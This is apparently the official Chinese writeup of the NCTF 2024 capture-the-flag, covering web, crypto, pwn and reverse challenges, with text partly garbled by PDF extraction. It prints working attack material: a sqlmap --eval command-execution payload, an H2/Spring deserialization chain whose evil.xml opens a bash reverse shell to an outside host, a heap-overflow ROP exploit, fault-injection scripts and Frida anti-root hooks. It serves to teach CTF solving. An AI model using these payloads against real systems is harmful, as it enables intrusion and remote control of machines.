NCTF 2024 Official Writeup

Web

ez_dash & ez_dash_revenge

预期解是污染掉bottle.TEMPLATE_PATH实现任意⽂件读取 ,没想到可以<%%>直接rce sorry

1  @bottle.post('/setValue')

2  def set_value():

3       name = bottle.request.query.get('name')

4       path=bottle.request.json.get('path')

5      if not isinstance(path,str):

6          return "no"

7      if len(name)>6 or len(path)>32:

8          return "no"

9      value=bottle.request.json.get('value')

10       return "yes" if setval(name, path, value) else "no"

11

12  @bottle.get('/render')

13  def render_template():

14       path=bottle.request.query.get('path')

15      if len(path)>10:

16          return "hacker"

17       blacklist=["{","}",".","%","<",">","_"]

18       for c in path:

19           if c in blacklist:

20              return "hacker"

21       return bottle.template(path)

⾸先就是这两个路由 ,理想状态下render路由只能渲染⽂件 ,⽽不是传⼊的字符串。但是我们看到

1  @classmethod

2  def search(cls, name, lookup=None):

3       """ Search name in all directories specified in lookup.

4      First without, then with common extensions. Return first hit. """

5      if not lookup:

6           raise depr(0, 12, "Empty template lookup path.", "Configure a

template lookup path.")

7

8      if os.path.isabs(name):

最终找到BaseTemplatesearch⽅法 ,可以看到是没办法使⽤ ../../来逃逸的 ,所以需要想办法去修改 TEMPLATE_PATH ,然后去实现任意⽂件读取 ,接下来去看setval函数

1  def setval(name:str, path:str, value:str)-> Optional[bool]:

2       if name.find("__")>=0: return False

3       for word in    forbidden_name   :

4          if name==word:

5              return False

6       for word in    forbidden_path   :

7           if path.find(word)>=0: return False

8      obj=globals()[name]

9      try:

10           pydash.set_(obj,path,value)

11      except:

12          return False

13      return True

结合⿊名单和限制⼤致的利⽤就是

1  setval.__globals__.bottle.TEMPLATE=['../../../../../proc/self/']

但是pydash是不允许去修改     globals     属性的 ,去看—下代码

1  def _raise_if_restricted_key(key):

2      # Prevent access to restricted keys for security reasons.

3       if key in RESTRICTED_KEYS:

4           raise KeyError(f"access to restricted key {key!r} is not allowed")

所以可以先利⽤这个setvalRESTRICTED_KEYS修改

然后再去修改

sqlmap-master

签到题, 考虑到在平台靶机上跑⼀个sqlmap 有亿点点危险, 所以设置成了不出⽹

很显然的 subprocess.Popen, 但因为设置了

shell=False

导致⽆法利⽤反引号等技巧进⾏常规的

命令注⼊

但是仔细观察可以发现我们还是可以控制sqlmap 的参数, 即参数注⼊ 结合 GTFOBins: sqlmap | GTFOBins

通过

--eval

参数可以执⾏ Python 代码, 然后因为上⾯

command .split()

默认是按空格分隔

, 所以需要⼀些⼩技巧来绕过

注意这⾥参数的值不需要加上单双引号, 因为上⾯已经设置了

shell=False

, 如果加上去反⽽代表的

"eval ⼀个 Python 字符串" 最终 payload

    代码块

1   127.0.0.1:8000 --eval __import__('os').system('env')

这道题是⽤ LLM 出的, 爱来⾃ DeepSeek 

internal_api

考点: 利⽤ HTTP Status Code 进⾏ XSLeaks src/route.rs

路由仅允许 bot 访问, 同时其

db : :search

的第三个参数传⼊了 true, 代表

允许搜索 hidden comments (flag)

如果能搜到 comments, 返回

OK()

(200), 否则返回

(500)

这是⼀个很经典的 XSLeaks 题⽬ , 根据Introduction | XS-Leaks Wiki, 结合以上不同的 HTTP 状态码, 可以利⽤ onload onerror 事件 leak flag

payload

注意在打远程环境的时候要把

http://127.0.0.1:8000/

(题⽬描

述已给提⽰)

H2Revenge

考点: H2 数据库在 JRE 环境下的利⽤

出题思路源于去年研究的⼀个 RCE: https://exp10it.io/2024/03/solarwinds-security-event- manager-amf-deserialization-rce-cve-2024-0692/

题⽬是 Java 17 环境, 给了⼀个反序列化路由和 MyDataSource

26      } 27

28      @Override

29       public Connection getConnection(String username, String password) throws

SQLException {

30           return DriverManager.getConnection(url, username, password);

31      }

32

33      @Override

34       public PrintWriter getLogWriter() throws SQLException {

35          return null;

36      } 37

38      @Override

39       public void setLogWriter(PrintWriter out) throws SQLException {

40

41      } 42

43      @Override

44       public void setLoginTimeout(int seconds) throws SQLException {

45

46      } 47

48      @Override

49       public int getLoginTimeout() throws SQLException {

50          return 0;

51      } 52

53      @Override

54       public <T> T unwrap(Class<T> iface) throws SQLException {

55          return null;

56      } 57

58      @Override

59       public boolean isWrapperFor(Class<?> iface) throws SQLException {

60          return false;

61      } 62

63      @Override

64       public Logger getParentLogger() throws SQLFeatureNotSupportedException {

65          return null;

66       }

67   }

结合 H2 依赖, 很明显是通过反序列化打 JDBC

前半部分的思路很简单, 通过 EventListenerList (readObject -> toString) + POJONode (toString ->  Getter 调⽤) 触发 MyDataSource getConnection ⽅法

后半部分需要⽤ JDBC H2 RCE, 常规思路是利⽤ CREATE ALIAS 创建 Java 函数或者是利⽤

JavaScript 引擎 RCE 但这⾥的坑点在于:

1.  Java 17 版本中 JavaScript 引擎 (Nashorn) 已经被删除

2.  题⽬给的是 JRE 17 ⽽不是 JDK 17, 不存 javac 命令, ⽆法编译 Java代码, 也就是说⽆法像常规思 路那样通过 CREATE ALIAS 创建 Java 函数

翻阅 H2 数据库⽂档可知, CREATE ALIAS 除了创建 Java 函数外, 还能够直接引⽤已知的 Java静态⽅ , 这个过程不需要 javac 命令

Features    Data Types SQL Grammar

那么就可以尝试结合第三⽅依赖使⽤⼀些特定的静态⽅法完成 RCE

理论上会有很多种利⽤思路, 我的思路是利⽤ Spring ReflectUtils 反射调⽤ ClassPathXmlApplicationContext 的构造⽅法

v  1代码C

EATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';

2  CREATE ALIAS NEW_INSTANCE FOR

'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class,

java.lang.Class[], java.lang.Object[])';

3

4  SET @url_str='http://host.docker.internal:8000/evil.xml';

5  SET

@context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXm

lApplicationContext');

6  SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

7

8  CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_str]);

不过这⾥存在⼀个问题, 如果直接这样执⾏ SQL 语句的话会报错

    代码块

1  Caused by: org.h2.jdbc.JdbcSQLDataException: Data conversion error converting

"CHARACTER VARYING to JAVA_OBJECT"; SQL statement:

2

3  CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_str])

[22018-232]

这是由于 H2 不⽀持

JAVA_OBJECT

 VARCHAR (CHARACTER VARYING) 类型之间的转换

上⾯的

@url_str

属于 VARCHAR 类型,  ReflectUtils.newInstance 传⼊的参数 args 属于 Object

类型

解决办法是找⼀个参数是 Object 类型并且返回值是 String 类型的静态⽅法, 间接实现类型的转换, 可以 使⽤ CodeQL/Tabby 或者⼿⼯查找

    代码块

1   import java

2

3   from Method m

4  where

5    m.isPublic() and

6    m.isStatic() and

7    m.getNumberOfParameters() = 1 and

我选择的是

avax .naming.ldap.Rdn .unescapeValue

⽅法

最终 payload

    代码块

evil.xml

    代码块

1   <?xml version="1.0" encoding="UTF-8" ?>

2       <beans xmlns="http://www.springframework.org/schema/beans"

3         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

4         xsi:schemaLocation="

5        http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans.xsd">

6           <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

7               <constructor-arg>

8              <list>

9                   <value>bash</value>

10                   <value>-c</value>

11                   <value><![CDATA[bash -i >& /dev/tcp/host.docker.internal/4444

0>&1]]></value>

12              </list>

13               </constructor-arg>

14          </bean>

15      </beans>

反序列化 payload

UnsafeUtil

    代码块

1   package exploit; 2

3   import sun.misc.Unsafe; 4

5   import java.lang.reflect.Field; 6

7   public class UnsafeUtil {

8       private static final Unsafe unsafe;

9

10       static {

11          try {

12               Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");

13               Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe");

14              theUnsafeField.setAccessible(true);

15               unsafe = (Unsafe) theUnsafeField.get(null);

16          } catch (Exception e) {

17              throw new RuntimeException(e);

18          }

19      }

20

21       public static void patchModule(Class clazz) throws Exception {

22           Module baseModule = Object.class.getModule();

23          setFieldValue(clazz, "module", baseModule);

24       }

25

26       public static Object getFieldValue(Object obj, String name) throws

Exception {

27           return getFieldValue(obj.getClass(), obj, name);

28       }

29

30       public static Object getFieldValue(Class<?> clazz, Object obj, String

name) throws Exception {

31           Field f = clazz.getDeclaredField(name);

32           long offset;

33

34          if (obj == null) {

35              offset = unsafe.staticFieldOffset(f);

36          } else {

37              offset = unsafe.objectFieldOffset(f);

38          }

39

40           return unsafe.getObject(obj, offset);

41      }

42

43       public static void setFieldValue(Object obj, String name, Object val)

throws Exception {

44          setFieldValue(obj.getClass(), obj, name, val);

45      }

46

47       public static void setFieldValue(Class<?> clazz, Object obj, String name,

Object val) throws Exception {

48           Field f = clazz.getDeclaredField(name);

49           long offset;

50

51          if (obj == null) {

52              offset = unsafe.staticFieldOffset(f);

53          } else {

ReflectUtil

SerializeUtil

Crypto

Sign,绮云,Arcahv三题的渲染出了点⼩问题 ,将就着看看截图。官wp传送⻔:

https://crystaljiang232.github.io/nctf2024/

Sign 解析

完整exp

5   from Crypto.Util.number import *

6   from functools import reduce

7   from random import *

8   from pwn import *

9   from Crypto.Util.Padding import unpad

10   from Crypto.Cipher import AES

11   from hashlib import md5

12

13  def inv_shift_right(x:int,bit:int,mask:int = 0xffffffff) -> int:

14      tmp = x

15       for _ in range(32//bit):

16          tmp = x ^^ tmp >> bit & mask

17      return tmp

18

19  def inv_shift_left(x:int,bit:int,mask:int = 0xffffffff) -> int:

20       tmp = x

21       for _ in range(32//bit):

22          tmp = x ^^ tmp << bit & mask

23      return tmp

24

25  def rev_extract(y:int) -> int:

26      y = inv_shift_right(y,18)

27      y = inv_shift_left(y,15,4022730752)

28      y = inv_shift_left(y,7,2636928640)

29      y = inv_shift_right(y,11)

30      return y

31

32  def exp_mt19937(output:list) -> int:

33       assert len(output) == 624

34       cur_stat = [rev_extract(i) for i in output]

35      r = Random()

36       r.setstate((3, tuple([int(i) for i in cur_stat] + [624]), None))

37       return r.getrandbits(32)

38

39   io = remote('39.106.16.204',24259)

40  io.recvuntil(b':')

41  aes_cipher = bytes.fromhex(io.recvline().strip().decode())

42  io.sendlineafter(b':',b'')

43   msg = []

44   for _ in range(30000):

45       io.recvuntil(b'[+]')

46      msg.append(int(io.recvline().strip().decode()))

47

48   io.close()

49  msg = [msg[i:i+2500] for i in range(0,30000,2500)]

50

51

绮云 解析

RSA N-Orcale

RSA Fault injection

格攻击

ECDSA

完整exp

1  #sage

2  __import__('os').environ['TERM'] = 'xterm' 3

4   from pwn import *

5   from sage.all import *

6   from time import time

7   from hashlib import sha256

8

9   io = remote('39.106.16.204',10645)

10  # io = process(['python3', 'task.py']) 11

12  nls = []

13  els = [] 14

15   recv_hexint = lambda: int(io.recvline().strip().decode(),16) 16

17   t0 = time() 18

19   for _ in range(10):

20       io.sendlineafter(b'option:',b'1')

21      #decipher N via GCD 22

23      numls = []

24       for i in range(9):

25           msg = int(1 << (i + 1)).to_bytes(2,'big')

26           io.sendlineafter(b'exit:',b'e')

27           io.sendlineafter(b'message:',msg.hex().encode())

28           io.sendlineafter(b'interfere?',b'0')

29           io.recvuntil(b'Result:')

30           numls.append(int(io.recvline().strip().decode(),16))

31

32      gcdls = []

33       for i in range(1,9):

34           gcdls.append(numls[0] ^ (i+1) - numls[i])

35

36       n = gcd(gcdls)

37      nls.append(n)

38       print(f'n #{_} = {n}')

39

40      #decipher e via fault injection of e

41

42      orcale_msg = 3

43

44      io.sendlineafter(b'exit:',b'e')

45

io.sendlineafter(b'message:',int(orcale_msg).to_bytes(1,'big').hex().encode())

46      io.sendlineafter(b'interfere?',b'2048')

47       io.recvuntil(b'Result:')

48       basis = recv_hexint() * pow(orcale_msg, -2^2048, n) % n #basis, =

pow(m,e,n)

49

50      e_rng = [0] * 2048

51

52       for i in range(2048):

53           io.sendlineafter(b'exit:',b'e')

54

io.sendlineafter(b'message:',int(orcale_msg).to_bytes(1,'big').hex().encode())

55           io.sendlineafter(b'interfere?',str(i).encode())

56           io.recvuntil(b'Result:')

57

58           temp = recv_hexint()

59          multiplier = pow(orcale_msg,2^i,n)

60

61          if temp == basis * multiplier % n: #0 -> 1, original = 0

62               e_rng[i] = 0

63          else: #1 -> 0, original = 1

64               assert temp == basis * pow(multiplier,-1,n) % n #ensure

65               e_rng[i] = 1

66

67       e_res = int(''.join(str(i) for i in e_rng)[::-1],2)

68       assert pow(orcale_msg,e_res,n) == basis

69      els.append(e_res)

70

71       print(f'e #{_} = {e_res}')

72       print(f'Time elasped: {time()-t0:.2f}s')

73       io.sendlineafter(b'exit:',b'')

74

75

76   const = 2^1024

77  mt = matrix.diagonal(ZZ,nls + [0]).dense_matrix()

78   mt[-1] = els + [const]

79  mt = mt.LLL()

80

81  temp = abs(mt[0,-1])

82   assert temp % const == 0 83   d = ZZ(temp / const)

84

85  x = d.nth_root(4)

86  E =

EllipticCurve(Zmod(0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFF

FFFFFFF),

Arcahv

题如其名 Arcahv,聚合 ,⼤杂烩。

核⼼考点包括 RSA LSB Orcale LCG Coppersmith

RSA LSB Orcale

LCG

Coppersmith

完整exp

5   from pwn import *

6   from Crypto.Util.number import *

7   from Crypto.Cipher import AES

8

9  def hexify_send(num:int) -> bytes:

10       return long_to_bytes(num).hex().encode()

11

12   io = remote('39.106.16.204',28575)

13  # io = process(['python3', 'arcahv.py'])

14

15   io.sendlineafter(b'>',b'1') 16

17   io.recvuntil(b':')

18  enc_flag = int(io.recvline().strip().decode(),16)

19   io.recvuntil(b':')

20  enc_hint =

int.from_bytes(bytes.fromhex(io.recvline().strip().decode()),'little')

21   io.recvuntil(b':')

22  enc_hint2 = bytes.fromhex(io.recvline().strip().decode())

23

24  # RSA LSB Orcale

25

26  m = enc_hint

27  omit_count = 127

28  io.sendlineafter(b'>',b'2')

29   io.recvuntil(b'(')

30   rn = int(io.recvuntil(b',',drop=True).strip().decode(),16)

31   re = int(io.recvuntil(b')',drop=True).strip().decode(),16) 32

33  upper_bound = reduce(lambda x,y:floor(x/256),range(omit_count),rn) 34

35   lower_bound = 0

36  single_mul = pow(256,re,rn)

37   inv = pow(rn,-1,256) 38

39  m = m * pow(single_mul,omit_count,rn) % rn 40

41   for i in range(75):

42       m = int(m * single_mul % rn)

43

44      io.sendlineafter(b'?',b'y')

45      io.sendlineafter(b':',hexify_send(m))

46       io.recvuntil(b':')

47      this = int(io.recvline().strip().decode()[:2],16)

48

49       k = int(-this * inv % 256)

50       ttl = (upper_bound - lower_bound) / 256

51

52       lower_bound += ceil(k * ttl)

53       upper_bound = lower_bound + floor(ttl)

54

55   res_pp = lower_bound

56

57  # LCG

58

59  io.sendlineafter(b'>',b'3')

60  ls = []

61   for _ in range(80):

62       io.sendlineafter(b'?',b'y')

63      ls.append(int(io.recvline().strip().decode()))

64

65

66   hexstr = ''.join(hex(i)[2:].zfill(16) for i in ls)

67   lcgnums = [int(hexstr[i:i+256],16) for i in range(0,len(hexstr),256)]

68

69

70  A = [lcgnums[i+1]-lcgnums[i] for i in range(4)] 71   p = gcd(A[1]^2 - A[2]*A[0],A[2]^2 - A[3]*A[1])  72

73  if not isPrime(p):

74       p = factor(p)[-1][0] 75

76   assert isPrime(p) 77

78   a = int(A[1] * int(pow(A[0],-1,p)) % p)

79   b = int((lcgnums[1] - a * lcgnums[0]) % p) 80

81  cur = Zmod(p)(lcgnums[0])

82   count = 0

83  while int(cur).bit_length() > 128:

84       cur = (cur - b) * pow(a,-1,p)

85       count += 1

86

87   key = int(cur).to_bytes(16,'big')

88   res_n = int.from_bytes(AES.new(key,AES.MODE_ECB).decrypt(enc_hint2),'big')

89

90  # Coppersmith

91   P.<x> = Zmod(res_n)[]

92   rt = (res_pp + x).small_roots(X=2^453,beta=0.4)[0] 93

94   p0 = int(res_pp + rt) 95

96   assert res_n % p0 == 0

97   q0 = res_n // p0

FaultMilestone0

Fault系列重点是怎么找到故障注⼊的点 ,找得到就不怎么难了 ,代码都不复杂。

源代码:

1   https://github.com/kokke/tiny-AES-c

虽然只允许⼀次交互 ,但可以把故障点注⼊到 for 循环⾥ ,强制把后⼏轮的加密给跳过 ,直接拿密⽂异 或明⽂就⾏

FaultMilestone1

源代码同FaultMilestone0 ,修改了⼀下加密的逻辑 ,这次得打AES故障差分。

把故障注⼊到最后⼀轮列混淆之前的数据就可以 ,通过判断故障密⽂与正确密⽂的字节关系( ⼤概会 有四字节不同 就可以提取出正确的故障注⼊密⽂。

通过phoenixAES项⽬的⼯具 ,可以⽅便的实现差分攻击 ,提取出最后⼀轮轮密钥 ,再通过 aes_keyschedule项⽬的密钥恢复⼯具 ,还原主密钥就可以。

27   io.sendlineafter(b">",b"y") 28

29   length = 0

30   for shocktime in HIT_List:

31          while True:

32                 COUNT = 0

33                   io.sendlineafter(b">",str(shocktime).encode())

34                   io.recvuntil(b"Result: ")

35                   ENC  = io.recvline().decode()

36                  FAULT_BYTES = [ENC[2 * _ : 2* (_+1)] for _ in range(16)]

37                   for _ in range(16):

38                           if ENC_BYTES[_] != FAULT_BYTES[_]:

39                                 COUNT += 1

40                  if COUNT == 4:

41                           ENC_List.append(ENC)

42                           print(f"[+] length = {length}")

43                           length += 1

44                         if(shocktime!=HIT_List[-1]):

45                                   io.sendlineafter(b">",b"y")

46                         else:

47                                   io.sendlineafter(b">",b"n")

48                           break

49

50                   io.sendlineafter(b">",b"y") 51

52   assert len(ENC_List) == 13

53  tracefile = ""

54   for _ in ENC_List:

55           tracefile += _ + "\n"

56

57  with open("tracefile","wb") as t:

58      t.write(tracefile.encode("utf-8")

59       )

60

61   result = phoenixAES.crack_file("tracefile",verbose=0)

62   print(result) 63  # 调⽤外部程序

64   result = subprocess.run(["./aes_keyschedule.exe",result,"10"],

stdout=subprocess.PIPE)

65  output = result.stdout.decode('utf-8')

66   print(output)

67   KEY = output[5:4+33].lower()

68  io.sendlineafter(b">",KEY.encode())

69   io.interactive()

FaultMilestone2 源代码:

1   https://github.com/NEWPLAN/SMx

思路和FaultMilestone1⼀样 ,主要是找到正确的故障注⼊点 ,同时要考虑调优 ,在⼀次正确、 四次错 误的条件下 ,还原出SM4后四轮的轮密钥 ,再利⽤sm4_keyschedule⼯具还原主密钥就⾏。

phoenixSM4⼯具的描述⾥有相关的SM4故障注⼊论⽂ ,这题⽐较⿇烦的点就在于能交互的次数⽐较  ,后⼏轮其实怎么注都可以还原⼀定的轮密钥信息 ,我选的是2726轮的X1。多试⼏次就打出来

了。

Pwn

Unauth-diary

没注意到出题时跟release版本不同 ,给各位师傅带来了不好的体验 ,再次给各位师傅磕⼀个

⾸先要知道

的⾏为

malloc(0x20)

malloc函数的参数类型是

size_t

unsigned int

然后程序中存堆结构信息的size部分是8byte ,输⼊4byte ,且malloc(size+1) ,这⾥假设输⼊size

0xffffffff

,  +1后就会导致溢出 ,进⽽

但存储的size

0x1 00000000

后期利⽤的话  由于本题是基于forkserver ,不能直接

我⾃⼰测试的时候是漏env打栈 ,直接从没关的socket⾥⾯做orw

赛中来问我的⼏位⼏乎全都在打io io 由于在exitsocket会被关掉 ,只能弹flag/shell

两种打法都要控制rdxgadget ,这个好办 ,随便找⼀下就⾏了。但打IO需要的magic_gadget可能要 费点事。

exp-environ-stack

11

12  def delete(idx):

13      menu(2)

14      s.sendlineafter(b"index:\n",str(idx).encode())

15

16  def edit(idx,content):

17      menu(3)

18      s.sendlineafter(b"index:\n",str(idx).encode())

19      s.sendlineafter(b"content:\n",content)

20

21  def show(idx):

22      menu(4)

23      s.sendlineafter(b"index:\n",str(idx).encode())

24      s.recvuntil(b"Content:\n")

25       return #s.recvline()[:-1]

26

27   if    name   =="   main   ":

28       add(0x30)

29       add(0xffffffff)

30       add(0x80)

31       add(0x80)

32      edit(1,b"a"*0x20)

33      show(2)

34      dat=s.recv(8)

35       heap_base=u64(dat)-0x320

36      success(hex(heap_base))

37      delete(1)

38       add(0x2000000)

39      show(2)

40      dat=s.recv(8)

41      libc.address=u64(dat)-0x10+0x2001000

42      edit(2,p64(libc.sym.environ)+p64(9))

43      success(hex(libc.address))

44      show(1)

45      dat=s.recv(8)

46      stack=u64(dat)

47      success(hex(stack))

48      edit(2,p64(stack-0x2c0)+p64(0x1000))

49       rroopp=ROP(libc)

50       rdi=libc.address+0x000000000010f75b

51       rsi_rbp=libc.address+0x000000000002b46b

52      # rbx=libc.address+0x00000000000586e4

53       rbx_rbp=libc.address+0x0000000000114d3a

54      # 0x00000000000b0133 : mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret

55      magic=libc.address+0x00000000000b0133

56       rop_chain=flat([

57           rdi,heap_base+0x2c0,

unauthwarden

漏洞为ecall_print_username中的fmtecall_do_seal_send中的栈溢出。

whoami泄露root密码 ,直接构造

pop rdi; ret; printf(root_password)

即可。

reveal的正解就是复现论⽂中的⼿法。 但赛中的唯⼀解Laogong直接偷了:

•  ocall_read_user("root.data",len,buffer)

•  unseal_buffer(buffer,len,unsealed_buffer,len)

  printf(unsealed_buffer) 只能说偷的好啊。

Reverse

SafeProgram

查看导出函数表可以发现

TlsCallback

,  从这⾥⼊⼿分析。

第⼀个

tls_callback

,  之后在注册表写⼊CRC

checksum

值。第⼆个对代码段进

⾏扫描并且查表计算CRC ,和注册表保存的

checksum

⽐对 ,不⼀致则退出程序。

主函数⼀上来开了新的线程 ,⽽且每隔1000ms递归创建新线程。 因为tls回调函数在线程创建或者终⽌ 时都会调⽤ ,所以这⾥是在循环检测CRC。绕过检测的⽅法⽐较多 ,直接的⽅法是patch 删去

中调⽤的CRC检测函数。也可以在调试时只使⽤硬件断点。

后⾯就是常规的输⼊-加密-检查过程。加密函数是SM4 ,可以根据S盒的特征推测 ,或者绕过 CRC 之后 调试分析得出。要注意的是加密之前 ,程序主动触发除零异常 ,调⽤  VEH 异常处理函数修改了 key   Sbox

解密的话可以dump下来修改后的S盒以及key ,然后找⼀个SM4的脚本 ,修改Sbox之后解密即可。 ezDOS

写的16位程序。拿IDA打开 ,静态分析的话有多处花指令⼲扰。

⼀共有两种类型的花指令 ,都是⽐较常规的。

第⼀类:永恒跳转 nop掉即可。

1  jnz offset lable

2  jz  offset lable + 1

第⼆类基于堆栈的  call  +  ret    al 经过⼀系列计算得到⼀个固定的值 ,加到  dl 然后  push 到栈上 ,间接修改了堆栈末尾的返回地址   retf 回去就会改变正常的控制流 ,跳过部分指令。

1   call far ptr junkskip 2

3  junk segment

4  junkskip:

5      pop dx

6      push ax

7       xor ax, ax

8       ; ...

9      add dl, al

10      pop ax

11      push dx

12      retf

13  junk ends

这种可能⽐较隐蔽 ,因为直接  call 进⼀个单独的函数 ,容易把它当成加密的⼀部分。这⾥没有加 0xE8 之类的 junkcode ⼲扰反汇编 ,⽽是使⽤正常的指令 ,⼀定程度上也起到混淆加密流程的作   

找⼀个DOS环境 ,⽐如DOSBox之类的模拟器调试⼀下 ,基本就没什么困难了。动调时也能跟踪到 retf 之后控制流返回的地址。最终能分析出加密算法是部分魔改的RC4 ,改动的地⽅如下:

  S盒逆序初始化

  key 左移3 ,右移5

  密钥流⽣成的值 加1

到这⾥就可以写脚本解密。考虑到RC4的流密码性质 ,这道题也可以采⽤更简单的做法:动调记录密钥  ,之后和密⽂逐⼀异或得到flag

1

data = [0x7C, 0x3E, 0x0D, 0x3C,

0x88

,

0x54

,

0x83, 0x0E, 0x3B, 0xB8,

2

0x99, 0x1B, 0x9B, 0xE5,

0x23

,

0x43

,

0xC5, 0x80, 0x45, 0x5B,

3

0x9A, 0x29, 0x24, 0x38,

0xA9

,

0x5C

,

0xCB, 0x7A, 0xE5, 0x93,

4

0x73, 0x0E, 0x70, 0x6D,

0x7C

,

0x31

,

0x2B, 0x8C]

5

key = b"NCTf2024nctF"

x1Login

这题⽤frida可以很快做出来 ,但是⾸先看⼀下常规⽅法

静态分析发现 Java层有root检测和反调试。 常规绕过⽅法应该是apktool解包修改smali代码 ,再重新

签名打包。 同时java层有字符串混淆 ,分析

libsimple .so

得出算法是先异或字符串⻓度之后换表

base64 ,之后可以写脚本去混淆。

继续分析

MainActivity

能够发现动态加载dex ,这个过程也会调⽤⼀个native⽅法

分析另外⼀个动态库

libnative .so

,  加载的流程为:从assets提取名为

libsimple .so

的⽂

 ,之后从0x40偏移开始把内容复制到byte数组 ,返回到 java层的

这⾥的

libsimple .so

是假ELF ,只有前0x40字节

elf_header

,  后⾯则是真正的dex。修

复后反编译如下:

username可以去混淆得到 ,⽤户名验证通过后把⾃⾝的md5作为密钥 ,传给

Secure .doCheck

⼀步验证password。这⼜是⼀个native⽅法 ,不过已经到最后的加密部分了。看流程 ,先加密后解密 再加密 ,⼤概能猜到是3DES ,如果⽤findcrypt也能够查出来DES特征。

标准3DES就不多说了 ,不放⼼可以调试 ,加密函数内部也特意留了

 android_log_print

⽅便

查看结果。最后特别要注意的是字节序的问题 ,因为DES64-bit的分组加密 ,所以明⽂ 、密⽂还有密

钥都直接⽤的

uint64_t

类型 ,整个过程都遵循⼩端序。

cyberchef解⼀下得到password

1   username:

X1c@dM1n1$t

2   password:

SafePWD~5y$x?YM+5U05Gm6=

接下来给出基于frida hook的快捷做法。

1.  root检测和反调试: hook

checkDebug

checkRoot

,  修改返回值为

false

2.  字符串去混淆: hook

DecStr .get

的参数和结果

3.  dex加载: hook

InMemoryDexClass Loader

的构造函数或者

Secure .loadDex

,  拿到

bytearray

⽤开源⼯具frida-dexdump可能容易⼀点 ,但是要⼿动挨个看哪个dex是要找的 ,⼀般逆向题的dex 不会很⼤ ,找那种⼏kb的就⾏。

4.  算法分析:可以hook native ,找到 key 和加密过程的中间变量。 完整js脚本如下

8           Sec.checkDebug.implementation = function (){

9              return false;

10          }; 11

12          var DecStr = Java.use("com.nctf.simplelogin.DecStr");

13          //overload('java.lang.String')

14           DecStr.get.implementation = function (str) {

15               var result = this.get(str);

16               console.log(`[*] DecStr.get: ${str}  ${result}`);

17              return result;

18          };

19          //overload('java.lang.String', '[B')

20           Sec.doCheck.implementation = function (str,barr) {

21              var result = this.doCheck(str,barr);

22               console.log(`[*] doCheck: key = ${barr}`);

23              return result;

24          };

25      });

26   }

27

28   function Start_NativeHook(libname) {

29      var dlopen = Module.findExportByName(null, "android_dlopen_ext");

30       Interceptor.attach(dlopen, {

31           onEnter: function (args) {

32               var filePath = args[0].readCString();

33               if (filePath.indexOf(libname) != -1) {

34                   console.log(`[+] android_dlopen_ext: start hooking

${libname}`)

35                   this.isCanHook = true;

36              }

37           }, onLeave: function (retValue) {

38               if (this.isCanHook) {

39                   this.isCanHook = false;

40                   hook_native();

41              }

42          }

43      })

44  }

45

46   function hook_native(){

47      var target_addr = Module.findBaseAddress("libnative.so").add(0x1F1C);

48      Interceptor.attach(target_addr,{

49           onEnter: function (args) {

50               var key0 = this.context.x22;

51               var key1 = this.context.x23;

52               console.log(`[+] native key = ${key0} ${key1}`);

53          },

gogo

⾸先恢复符号。 ⽬前⾼版本IDA已经能⾃动恢复golang符号 ,如果⽤

go_parser

插件也能恢复的差

不多。

主要逻辑是⽤协程实现了两个并发的寄存器虚拟机 ,分别加密flag的前后两部分。解题思路依然是还原 vm字节码 ,只要能还原到汇编级别就⾜以正常分析。

IDA可以找到vm的结构体。前两个好理解 ,对应寄存器和cache缓存 ,后⾯两个是缓冲channel ,分

别向vm传⼊字节码和等待返回运⾏结果 ,最后⼀个map是指令集。从  instr 管道的4字节⻓度和

的参数可以推测出vm使⽤4字节的定⻓指令集 ,看指令名称也可以发现类似ARM

两个虚拟机的指令集不同 ,对应的初始化在

main_init

⾥⾯ ,依次定义了两个map类型变量。指

令函数

handler

是⼆者共⽤的 ,需要逆向分析

opcode

的对应关系 ,这⾥直接给

出结论:

1   type handler func(vm *coroutVM, operands [3]byte) 2

3  var instructionSetA = map[byte]handler{ 4          0x11: LDR,

5          0x12: LDRI,

6          0x15: STR,

7          0x16: STRI,

8          0x2A: MOV,

9          0x41: ADD,

10          0x42: SUB,

11          0x47: MUL,

12          0x71: LSL,

13          0x73: LSR,

14          0x7A: XOR,

15          0x7B: AND,

16          0xFE: RET,

17          0xFF: HLT,

18  } 19

20  var instructionSetB = map[byte]handler{

21          0x13: LDR,

22          0x14: LDRI,

23          0x17: STR,

24          0x18: STRI,

25          0x2B: MOV,

26          0x91: ADD,

27          0x92: SUB,

28          0x97: MUL,

29          0xC1: LSL,

30          0xC3: LSR,

31          0xCA: XOR,

32          0xCB: AND,

33          0xFE: RET,

34          0xFF: HLT,

35  }

分析

main_main

,  发现程序将flag拆分成20字节的明⽂块 ,分别复制到虚拟机的缓存中。接着同时

开启两个vm的协程 ,并向  instr 管道发送相同的字节码指令 ,两个虚拟机的指令混在⼀起 ,只有能

匹配上vm⾃⾝指令集的指令会被执⾏。还原指令 ,根据opcode把⼆者的指令分开会更⽅便分析。

⼤多数指令的结构都是

opcode(1byte) + dst reg(1byte) + src reg(2byte

,  也有例

这样涉及⽴即数的指令 ,最好结合调试对应的 handler 函数来进⼀步确定各

operand

的含

义。分析清楚指令结构之后 ,就可以dump出程序中的vm字节码 ,写⼀个⾃动化或者半⾃动化的脚本 进⾏还原。这⾥给出⼀个可⽤的 golang 脚本

1   package main 2

3  import (  4      "fmt"

5      "os"

6  ) 7

8  var InstructionSetA = map[byte]string{

9      0x11: "LDR",

10      0x12: "LDRI",

11      0x15: "STR",

12      0x16: "STRI",

13      0x2A: "MOV",

14      0x41: "ADD",

15      0x42: "SUB",

16      0x47: "MUL",

17      0x71: "LSL",

18      0x73: "LSR",

19      0x7A: "XOR",

20      0x7B: "AND",

21      0xFE: "RET",

22      0xFF: "HLT",

23  } 24

25  var InstructionSetB = map[byte]string{

26      0x13: "LDR",

